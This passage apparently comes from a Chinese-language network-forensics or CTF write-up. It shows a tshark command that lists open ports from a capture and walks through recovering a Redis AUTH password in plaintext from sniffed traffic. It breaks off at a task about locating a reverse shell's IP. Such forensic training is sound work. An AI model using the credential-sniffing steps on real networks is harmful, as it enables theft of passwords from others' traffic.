如果你面对的是大量的数据包,并希望通过脚本快速获取开放端口列表,可以使用tshark,它是Wireshark的命令行版本。下面是一个简单的bash脚本示例,用于自动提取开放端口:
# 假设你的捕获文件名为capture.pcap
tshark -r capture.pcap -Y 'ip.addr==10.2.2.103 && tcp.flags.syn==1 && tcp.flags.ack==1' -T fields -e tcp.dstport | sort -n | uniq
这段命令的作用是从capture.pcap
文件中提取满足条件的数据包,然后输出每个数据包的目的端口号(tcp.dstport
),并通过sort -n
和uniq
命令对其进行排序并去除重复项,从而得到一个去重后的开放端口列表。
17.流量分析
攻击者对目标的Redis服务进行了认证登录,请提交攻击者登录成功使用的密码。
redis认证流量分析
使用Wireshark分析Redis通信流量包以找到Redis密码的过程如下:
1. 捕获Redis流量
首先,确保你已经捕获了包含Redis通信的网络流量包。你可以通过以下步骤捕获流量:
- 启动Wireshark。
- 选择正确的网络接口(例如,Wi-Fi或以太网)。
- 开始捕获流量。
- 确保Redis客户端和服务器之间的通信发生在捕获期间。
2. 过滤Redis流量
在Wireshark中,使用过滤器来仅显示Redis相关的流量。Redis使用TCP端口6379作为默认端口。你可以使用以下过滤器:
tcp.port == 6379
3. 查找Redis AUTH命令
Redis客户端在连接到Redis服务器时,通常会发送一个AUTH
命令来验证身份。AUTH
命令的格式如下:
*2\r\n$4\r\nAUTH\r\n$<password_length>\r\n<password>\r\n
*2
表示有两个参数。$4
表示第一个参数的长度为4字节,即AUTH
。$<password_length>
表示密码的长度。<password>
是实际的密码。
4. 解析AUTH命令
在Wireshark中,找到包含AUTH
命令的TCP流。你可以通过以下步骤找到密码:
- 双击包含
AUTH
命令的TCP流。 - 在TCP流中,查找
AUTH
命令及其后的密码。
5. 查看明文密码
在TCP流中,你应该能够看到明文的密码。Wireshark会显示整个TCP流的内容,包括AUTH
命令和密码。
18.流量分析
找到反弹shell流量分析 找到反弹shell的ip地址